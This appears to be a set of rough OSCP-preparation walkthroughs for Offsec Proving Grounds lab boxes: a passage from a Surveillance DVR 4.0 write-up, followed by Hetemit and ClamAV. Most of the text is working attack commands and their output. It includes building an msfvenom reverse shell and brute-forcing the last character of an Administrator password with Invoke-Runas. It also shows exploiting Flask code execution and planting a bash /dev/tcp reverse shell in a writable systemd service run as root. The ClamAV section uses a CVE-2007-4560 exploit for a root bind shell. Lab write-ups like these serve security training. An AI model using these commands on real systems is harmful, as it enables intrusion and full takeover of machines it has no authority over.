(o)#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
(o)# /    |    \  | \/ /_/  >  |  /\___ \  #
(o)# \____|__  /__|  \___  /|____//____  > #
(o)#         \/     /_____/            \/  #
(o)#        Weak Password Encryption       #
(o)############ @deathflash1411 ############
(o)
(o)14WatchD0g[-] D9A8:Unknown
python3 50130.py
(o)
(o)#########################################
(o)#    _____ Surveillance DVR 4.0         #
(o)#   /  _  \_______  ____  __ __  ______ #
(o)#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
(o)# /    |    \  | \/ /_/  >  |  /\___ \  #
(o)# \____|__  /__|  \___  /|____//____  > #
(o)#         \/     /_____/            \/  #
(o)#        Weak Password Encryption       #
(o)############ @deathflash1411 ############
(o)
(o)ImWatchingY0u

The last char of the Administrator password could not be converted by the python script. So I checked the python script to see what characters it was missing from its dictionary mapping. The script was missing all symbols other than !, so it must be one of them that is the last char in the Administrator password.

I then transfered the Invoke-Runas.ps1 script to the windows machine and dot sourced it.

  PS C:\Users\viewer> iwr -uri http://192.168.45.229/Invoke-Runas.ps1 -outfile Invoke-Runas.ps1
PS C:\Users\viewer> . .\Invoke-Runas.ps1

I created a msfvenom windows exe reverse shell binary and transferred it to the windows machine:

  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.229 LPORT=80 -f exe -o met80.exe
(o)[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
(o)[-] No arch selected, selecting arch: x86 from the payload
(o)No encoder specified, outputting raw payload
(o)Payload size: 324 bytes
(o)Final size of exe file: 73802 bytes
(o)Saved as: met80.exe

  PS C:\Users\viewer> iwr -uri http://192.168.45.229/met80.exe -outfile met80.exe

Finally I used the Invoke-Runas.ps1 script to execute the msfvenom reverse shell binary as the Administrator user. Since I did not know the last character of the password but new it must be a symbol, I iterated over the symbol chars.

  PS C:\Users\viewer> Invoke-Runas -User Administrator -Password 14WatchD0g@  -Binary C:\Users\viewer\met80.exe -LogonType 0x1
(o)
(o)[>] Calling Advapi32::CreateProcessWithLogonW
(o)
(o)[!] Mmm, something went wrong! GetLastError returned:
(o)==> The system could not find the environment option that was entered
(o)
PS C:\Users\viewer> Invoke-Runas -User Administrator -Password 14WatchD0g#  -Binary C:\Users\viewer\met80.exe -LogonType 0x1
(o)
(o)[>] Calling Advapi32::CreateProcessWithLogonW
(o)
(o)[!] Mmm, something went wrong! GetLastError returned:
(o)==> The system could not find the environment option that was entered
(o)
PS C:\Users\viewer> Invoke-Runas -User Administrator -Password 14WatchD0g$  -Binary C:\Users\viewer\met80.exe -LogonType 0x1
(o)
(o)[>] Calling Advapi32::CreateProcessWithLogonW
(o)
(o)[+] Success, process details:
(o)
(o)Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
(o)-------  ------    -----      -----     ------     --  -- -----------
(o)     34       3      528       2480       0.00   3816   0 met80

The password with $ at the end worked and the binary was executed.

I then received a shell on my nc listener as the Administrator user:

  rlwrap nc -nlvp 80
(o)listening on [any] 80 ...
(o)connect to [192.168.45.229] from (UNKNOWN) [192.168.202.179] 50493
(o)Microsoft Windows [Version 10.0.19042.1348]
(o)(c) Microsoft Corporation. All rights reserved.
(o)
C:\Users\viewer>whoami
(o)whoami
(o)dvr4\administrator

This post contains rough notes explaining my process for exploiting the Hetemit Proving Grounds box while preparing for the OSCP certification.

My Process

Firstly I ran a port scan with nmap:

  sudo nmap -p- -T4 -A -sS --open 192.168.227.117
(o)# Nmap 7.94 scan initiated Sat Sep  2 16:44:42 2023 as: nmap -p- -T4 -A -sS -v --open -oA nmap 192.168.227.117
(o)Nmap scan report for 192.168.227.117
(o)Host is up (0.20s latency).
(o)Not shown: 65529 filtered tcp ports (no-response), 1 closed tcp port (reset)
(o)Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
(o)PORT      STATE SERVICE     VERSION
(o)21/tcp    open  ftp         vsftpd 3.0.3
(o)| ftp-anon: Anonymous FTP login allowed (FTP code 230)
(o)|_Can't get directory listing: TIMEOUT
(o)| ftp-syst:
(o)|   STAT:
(o)| FTP server status:
(o)|      Connected to 192.168.45.229
(o)|      Logged in as ftp
(o)|      TYPE: ASCII
(o)|      No session bandwidth limit
(o)|      Session timeout in seconds is 300
(o)|      Control connection is plain text
(o)|      Data connections will be plain text
(o)|      At session startup, client count was 3
(o)|      vsFTPd 3.0.3 - secure, fast, stable
(o)|_End of status
(o)22/tcp    open  ssh         OpenSSH 8.0 (protocol 2.0)
(o)| ssh-hostkey:
(o)|   3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
(o)|   256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
(o)|_  256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
(o)139/tcp   open  netbios-ssn Samba smbd 4.6.2
(o)445/tcp   open  netbios-ssn Samba smbd 4.6.2
(o)50000/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.6.8)
(o)|_http-title: Site doesn't have a title (text/html; charset=utf-8).
(o)|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
(o)| http-methods:
(o)|_  Supported Methods: HEAD GET OPTIONS
(o)Device type: general purpose|storage-misc|firewall|webcam
(o)Running (JUST GUESSING): Linux 4.X|3.X|2.6.X (91%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (85%), Tandberg embedded (85%)
(o)OS CPE: cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/h:tandberg:vcs
(o)Aggressive OS guesses: Linux 4.4 (91%), Linux 3.10 - 3.12 (90%), Linux 4.9 (89%), Linux 4.0 (87%), Linux 3.11 - 4.1 (86%), Linux 3.10 - 3.16 (86%), Linux 2.6.32 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%)
(o)No exact OS matches for host (test conditions non-ideal).
(o)Uptime guess: 36.862 days (since Thu Jul 27 20:08:44 2023)
(o)Network Distance: 4 hops
(o)TCP Sequence Prediction: Difficulty=263 (Good luck!)
(o)IP ID Sequence Generation: All zeros
(o)Service Info: OS: Unix
(o)
(o)Host script results:
(o)| smb2-time:
(o)|   date: 2023-09-02T04:48:51
(o)|_  start_date: N/A
(o)| smb2-security-mode:
(o)|   3:1:1:
(o)|_    Message signing enabled but not required
(o)|_clock-skew: -1s
(o)
(o)TRACEROUTE (using port 22/tcp)
(o)HOP RTT       ADDRESS
(o)1   204.39 ms 192.168.45.1
(o)2   204.35 ms 192.168.45.254
(o)3   205.01 ms 192.168.251.1
(o)4   204.83 ms 192.168.227.117
(o)
(o)Read data files from: /usr/bin/../share/nmap
(o)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
(o)# Nmap done at Sat Sep  2 16:49:29 2023 -- 1 IP address (1 host up) scanned in 287.63 seconds
  

Then I tried to enumerate SMB shares using null authentication.

  crackmapexec smb 192.168.227.117 -u '' -p '' --shares
(o)SMB         192.168.227.117 445    HETEMIT          [*] Windows 6.1 Build 0 (name:HETEMIT) (domain:) (signing:False) (SMBv1:False)
(o)SMB         192.168.227.117 445    HETEMIT          [+] \:
(o)SMB         192.168.227.117 445    HETEMIT          [+] Enumerated shares
(o)SMB         192.168.227.117 445    HETEMIT          Share           Permissions     Remark
(o)SMB         192.168.227.117 445    HETEMIT          -----           -----------     ------
(o)SMB         192.168.227.117 445    HETEMIT          print$                          Printer Drivers
(o)SMB         192.168.227.117 445    HETEMIT          Cmeeks                          cmeeks Files
(o)SMB         192.168.227.117 445    HETEMIT          IPC$                            IPC Service (Samba 4.11.2)

The null authentication was successful and when listing the shares other than the standard SMB shares there was an additional share called Cmeeks.
So I tried to connect to this share using smbclient.

  smbclient //192.168.227.117/Cmeeks
(o)Password for [WORKGROUP\leo]:
(o)Anonymous login successful
(o)Try "help" to get a list of possible commands.
(o)smb: \> ls
(o)NT_STATUS_ACCESS_DENIED listing \*
(o)smb: \> put test.txt
(o)NT_STATUS_ACCESS_DENIED opening remote file \test.txt
(o)smb: \>

Unfortunately we have no read or write permissions.

I then connected to FTP using anonymous authentication. Again, I could authenticate anonymously but had no read or write permissions.

So the next interesting port to focus on was port 50000 which nmap identified as a Werkzeug (flask) HTTP server.

I connected to the port in my browser and was returned the potential endpoints /verify and /generate:

The verify endpoint returned a response indicating that it accepted a parameter called code.
So I tried to add a HTTP GET parameter called code:

This still returned the same response.

The next step was to try sending the code parameter as an HTTP post parameter.
To do that I used burp and changed the HTTP request method to a post request:

The server then returned a 500 error, so maybe the code triggered an exception.

I then tried to insert some Python code since Werkzeug runs on Python:

This returns None which indicates that the server is executing the code parameter and displaying what the function returns since the print() function returns None.

I confirmed this by trying to execute some code that would return True (None==None):

True is returned confirming we have code execution.

Next I inserted some python code to execute System commands using the os module. I attempted to execute the wget command and reach back to my own HTTP server so that I could observe if the command was executed successfully:

I received a connection back to my webserver which showed I had command execution:

  sudo python3 -m http.server 80
(o)Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
(o)192.168.227.117 - - [02/Sep/2023 18:25:24] code 404, message File not found
(o)192.168.227.117 - - [02/Sep/2023 18:25:24] "GET /test HTTP/1.1" 404 -

At this point I used the command execution to get a bash reverse shell:

And I received the shell as the user cmeeks:

  nc -nlvp 80
(o)listening on [any] 80 ...
(o)connect to [192.168.45.229] from (UNKNOWN) [192.168.227.117] 36708
(o)bash: cannot set terminal process group (1022): Inappropriate ioctl for device
(o)bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$ whoami
(o)whoami
(o)cmeeks

I ran sudo -l and saw that I had privileges to reboot the machine, which I noted as being intersting. If there was a overwritable service then having this privilege would allow me to reboot the system and when the system reboots the service would execute my command.

  [cmeeks@hetemit ~]$ sudo -l
sudo -l
Matching Defaults entries for cmeeks on hetemit:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

I looked into the local services running:

  [cmeeks@hetemit restjson_hetemit]$ netstat -anlp
(o)netstat -anlp
(o)(Not all processes could be identified, non-owned process info
(o) will not be shown, you would have to be root to see it all.)
(o)Active Internet connections (servers and established)
(o)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
(o)tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -
(o)tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -
(o)tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -
(o)tcp        0      0 0.0.0.0:18000           0.0.0.0:*               LISTEN      1020/puma 4.3.6 (tc
(o)tcp        0      0 0.0.0.0:50000           0.0.0.0:*               LISTEN      1022/python3.6
(o)tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -
(o)tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
(o)tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
(o)tcp        0      0 192.168.227.117:50000   192.168.45.229:41038    ESTABLISHED 1022/python3.6
(o)tcp        0      0 192.168.227.117:36708   192.168.45.229:80       ESTABLISHED 122263/bash
(o)tcp        0      0 192.168.227.117:51014   192.168.45.229:22       ESTABLISHED 122631/ssh
(o)tcp        0    139 192.168.227.117:59888   192.168.45.229:21       ESTABLISHED 122648/bash
(o)tcp        1      0 192.168.227.117:50000   192.168.45.229:43920    CLOSE_WAIT  1022/python3.6
(o)tcp6       0      0 :::445                  :::*                    LISTEN      -
(o)tcp6       0      0 :::5355                 :::*                    LISTEN      -
(o)tcp6       0      0 :::139                  :::*                    LISTEN      -
(o)tcp6       0      0 :::22                   :::*                    LISTEN      -
(o)udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
(o)udp        0      0 127.0.0.1:43404         127.0.0.1:43404         ESTABLISHED -
(o)udp        0      0 0.0.0.0:5355            0.0.0.0:*                           -
(o)udp6       0      0 :::5355                 :::*                                -
(o)raw6       0      0 :::58                   :::*                    7           -

I was curious about the local service running on port 18000 so I started an ssh remote port forward with my kali machine:

  [cmeeks@hetemit restjson_hetemit]$ ssh -N -R 127.0.0.1:8000:127.0.0.1:18000 leo@192.168.45.229
(o)The authenticity of host '192.168.45.229 (192.168.45.229)' can't be established.
(o)ECDSA key fingerprint is SHA256:YJptmZS+Cy7dR1m9KUljL/0oK9nE95OFQoiQ7q3MTzo.
(o)Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
(o)Warning: Permanently added '192.168.45.229' (ECDSA) to the list of known hosts.

This then allowed me to connect to the service through my browser:

This was intersting but since the web service on port 18000 was being run from the user cmeeks, exploiting this service didnt seem like it would offer a path to escalate privileges to root.

So I then focused on finding an overwritable system service that I could use to trigger a command with my reboot privilege.

I used find to recursively search for writable files in the /etc directory. This revealed that the pythonapp.service was writable. Inspecting this service file showed that it was currently executing the flask command as the user cmeeks. So if I changed this to execute a reverse shell command as the root user then it would be executed when the server got rebooted.

  [cmeeks@hetemit restjson_hetemit]$ find /etc -writable 2>/dev/null
(o)find /etc -writable 2>/dev/null
(o)/etc/systemd/system/multi-user.target.wants/pythonapp.service
(o)/etc/systemd/system/systemd-timedated.service
(o)/etc/systemd/system/pythonapp.service
[cmeeks@hetemit restjson_hetemit]$ cat /etc/systemd/system/pythonapp.service
(o)cat /etc/systemd/system/pythonapp.service
(o)[Unit]
(o)Description=Python App
(o)After=network-online.target
(o)
(o)[Service]
(o)Type=simple
(o)WorkingDirectory=/home/cmeeks/restjson_hetemit
(o)ExecStart=flask run -h 0.0.0.0 -p 50000
(o)TimeoutSec=30
(o)RestartSec=15s
(o)User=cmeeks
(o)ExecReload=/bin/kill -USR1 $MAINPID
(o)Restart=on-failure
(o)
(o)[Install]
(o)WantedBy=multi-user.target

I created a script that had a reverse shell payload in it and saved it to as /home/cmeeks/revshell.sh.

#!/bin/bash
bash -i >& /dev/tcp/192.168.45.229/80 0>&1

I then gave the script execute permissions:

  [cmeeks@hetemit ~]$ chmod +x /home/cmeeks/revshell.sh

Then I used echo to write the updated service file to the /etc/systemd/system/pythonapp.service file. I changed the ExecStart and User values to execute the reverse shell script as the root user.

  [cmeeks@hetemit ~]$ echo "[Unit]
(o)>Description=Python App
(o)>After=network-online.target
(o)>
(o)>[Service]
(o)>Type=simple
(o)>WorkingDirectory=/home/cmeeks/restjson_hetemit
(o)>ExecStart=/home/cmeeks/revshell.sh
(o)>TimeoutSec=30
(o)>RestartSec=15s
(o)>User=root
(o)>ExecReload=/bin/kill -USR1 $MAINPID
(o)>Restart=on-failure
(o)>
(o)>[Install]
(o)>WantedBy=multi-user.target
(o)> " > /etc/systemd/system/pythonapp.service

Then I rebooted the machine using my sudo access:

  [cmeeks@hetemit ~]$ sudo /sbin/reboot

On my kali machine I listened for the reverse shell. When I received the reverse shell I had a shell as the root user:

  nc -nlvp 80
(o)listening on [any] 80 ...
(o)connect to [192.168.45.229] from (UNKNOWN) [192.168.227.117] 55198
(o)bash: cannot set terminal process group (1206): Inappropriate ioctl for device
(o)bash: no job control in this shell
(o)[root@hetemit restjson_hetemit]# whoami
(o)whoami
(o)root

This post contains rough notes explaining my process for exploiting the ClamAV Proving Grounds box while preparing for the OSCP certification.

My Process

This is a walkthrough for the Offsec Proving Grounds Practise box titled ClamAV.

Firstly I checked what ports were open on the machine by running a port scan with nmap:

  sudo nmap -p- -T4 -A -sS -v --open -oA nmap/clamav 192.168.210.42
(o)# Nmap 7.94 scan initiated Sat Aug 19 14:38:01 2023 as: nmap -p- -T4 -A -sS -v --open -oA nmap/clamav 192.168.210.42
(o)Nmap scan report for 192.168.210.42
(o)Host is up (0.20s latency).
(o)Not shown: 65327 closed tcp ports (reset), 201 filtered tcp ports (no-response)
(o)Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
(o)PORT      STATE SERVICE     VERSION
(o)22/tcp    open  ssh         OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
(o)| ssh-hostkey:
(o)|   1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA)
(o)|_  1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA)
(o)25/tcp    open  smtp        Sendmail 8.13.4/8.13.4/Debian-3sarge3
(o)| smtp-commands: localhost.localdomain Hello [192.168.45.240], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP
(o)|_ 2.0.0 This is sendmail version 8.13.4 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
(o)80/tcp    open  http        Apache httpd 1.3.33 ((Debian GNU/Linux))
(o)|_http-server-header: Apache/1.3.33 (Debian GNU/Linux)
(o)|_http-title: Ph33r
(o)| http-methods:
(o)|   Supported Methods: GET HEAD OPTIONS TRACE
(o)|_  Potentially risky methods: TRACE
(o)139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
(o)199/tcp   open  smux        Linux SNMP multiplexer
(o)445/tcp   open              Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
(o)60000/tcp open  ssh         OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
(o)| ssh-hostkey:
(o)|   1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA)
(o)|_  1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA)
(o)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
(o)TCP/IP fingerprint:
(o)OS:SCAN(V=7.94%E=4%D=8/19%OT=22%CT=1%CU=30611%PV=Y%DS=4%DC=T%G=Y%TM=64E02BA
(o)OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=C5%GCD=1%ISR=D4%TI=Z%II=I%TS=A)OPS(O1=M55
(o)OS:1ST11NW0%O2=M551ST11NW0%O3=M551NNT11NW0%O4=M551ST11NW0%O5=M551ST11NW0%O6
(o)OS:=M551ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF
(o)OS:=Y%T=40%W=16D0%O=M551NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%
(o)OS:Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6
(o)OS:(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C687
(o)OS:%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
(o)
(o)Uptime guess: 0.002 days (since Sat Aug 19 14:38:01 2023)
(o)Network Distance: 4 hops
(o)TCP Sequence Prediction: Difficulty=197 (Good luck!)
(o)IP ID Sequence Generation: All zeros
(o)Service Info: Host: localhost.localdomain; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
(o)
(o)Host script results:
(o)| smb-os-discovery:
(o)|   OS: Unix (Samba 3.0.14a-Debian)
(o)|   NetBIOS computer name:
(o)|   Workgroup: WORKGROUP\x00
(o)|_  System time: 2023-08-19T02:39:59-04:00
(o)| smb-security-mode:
(o)|   account_used: guest
(o)|   authentication_level: share (dangerous)
(o)|   challenge_response: supported
(o)|_  message_signing: disabled (dangerous, but default)
(o)|_smb2-time: Protocol negotiation failed (SMB2)
(o)|_clock-skew: mean: 5h59m59s, deviation: 2h49m43s, median: 3h59m58s
(o)| nbstat: NetBIOS name: 0XBABE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
(o)| Names:
(o)|   0XBABE<00>           Flags: <unique><active>
(o)|   0XBABE<03>           Flags: <unique><active>
(o)|   0XBABE<20>           Flags: <unique><active>
(o)|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
(o)|   WORKGROUP<00>        Flags: <group><active>
(o)|   WORKGROUP<1d>        Flags: <unique><active>
(o)|_  WORKGROUP<1e>        Flags: <group><active>
(o)
(o)TRACEROUTE (using port 22/tcp)
(o)HOP RTT       ADDRESS
(o)1   204.10 ms 192.168.45.1
(o)2   204.09 ms 192.168.45.254
(o)3   205.81 ms 192.168.251.1
(o)4   205.87 ms 192.168.210.42
(o)
(o)Read data files from: /usr/bin/../share/nmap
(o)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
(o)# Nmap done at Sat Aug 19 14:40:32 2023 -- 1 IP address (1 host up) scanned in 151.28 seconds
  

I also scanned UDP ports but only the top 2000 since scanning UDP is slow:

  sudo nmap -sU --top-ports=2000 --min-rate=5000 -v --open 192.168.210.42
(o)Nmap scan report for 192.168.210.42
(o)Host is up (0.21s latency).
(o)Not shown: 1992 open|filtered udp ports (no-response), 6 closed udp ports (port-unreach)
(o)PORT    STATE SERVICE
(o)137/udp open  netbios-ns
(o)161/udp open  snmp

A webserver was running on port 80 so I browsed to the website and saw that there was some binary data there:

Once converted to ascii that resulted in the following string: “ifyoudontpwnmeuran00b”

So just some motiviation for us…

The SNMP UDP port was open so that was the next thing I decided to enumerate. First I tested the community string “public” and that seemed to work so I used snmpbulkwalk to enumerate all of the MIBS and save them to a file:

  snmpbulkwalk -v 2c -c public 192.168.210.42 \> snmp-bulk-out.txt

After manually scanning the output I found a few pieces of useful information:

1. Information about the system:
   SNMPv2-MIB::sysDescr.0 = STRING: Linux 0xbabe.local 2.6.8-4-386 #1 Wed Feb 20 06:15:54 UTC 2008 i686
2. ClamAV is installed which is no surprise given the labs name:
   HOST-RESOURCES-MIB::hrSWRunPath.3782 = STRING: “/usr/local/sbin/clamd”
   HOST-RESOURCES-MIB::hrSWRunPath.3784 = STRING: “/usr/local/sbin/clamav-milter”
3. The arguments that ClamAV is running with:
   HOST-RESOURCES-MIB::hrSWRunParameters.3784 = STRING: “–black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl”

At this stage I did a bit of research on what the black hole mode is by googling it. While searching I noticed that there was a RCE vulnerability in the black hole mode for clamav milter: CVE-2007-4560

Since the box has clamav-milter installed and is running SNMP this looked promising.

I found the following exploit written in go:
https://gist.github.com/0xjbb/fdf1678addf0c957bf2b284b29e4dff4

First I tested if the RCE exploit worked by trying to execute a ping command on the victim to send a few ping packets to my own machine.

I began monitoring on the tun0 interface for icmp (ping) packets:

  sudo tcpdump -i tun0 ip proto \\icmp

And then ran the exploit with the ping command:

  go run CVE-2007-4560.go -h 192.168.210.42 -p 25 -c "ping -c 5 192.168.45.240"

I received the ping packets on kali, showing that the RCE was successful:

  sudo tcpdump -i tun0 ip proto \\icmp
(o)tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
(o)listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
(o)16:17:05.781204 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 1, length 64
(o)16:17:05.781263 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 1, length 64
(o)16:17:06.783327 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 2, length 64
(o)16:17:06.783369 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 2, length 64
(o)16:17:07.783880 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 3, length 64
(o)16:17:07.783921 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 3, length 64
(o)16:17:08.784464 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 4, length 64
(o)16:17:08.784506 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 4, length 64
(o)16:17:09.785971 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 5, length 64
(o)16:17:09.786013 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 5, length 64

Now that I knew the machine was vulnerable I used the scripts -b option which executes a bind shell:

  go run CVE-2007-4560.go -h 192.168.210.42 -p 25 -b

Then I connected to the bind shell with netcat, where I got a shell as the root user so no privilege escalation was necessary:

  nc 192.168.210.42 31337
whoami
root
cd /root/
ls
dbootstrap_settings
install-report.template
proof.txt
cat proof.txt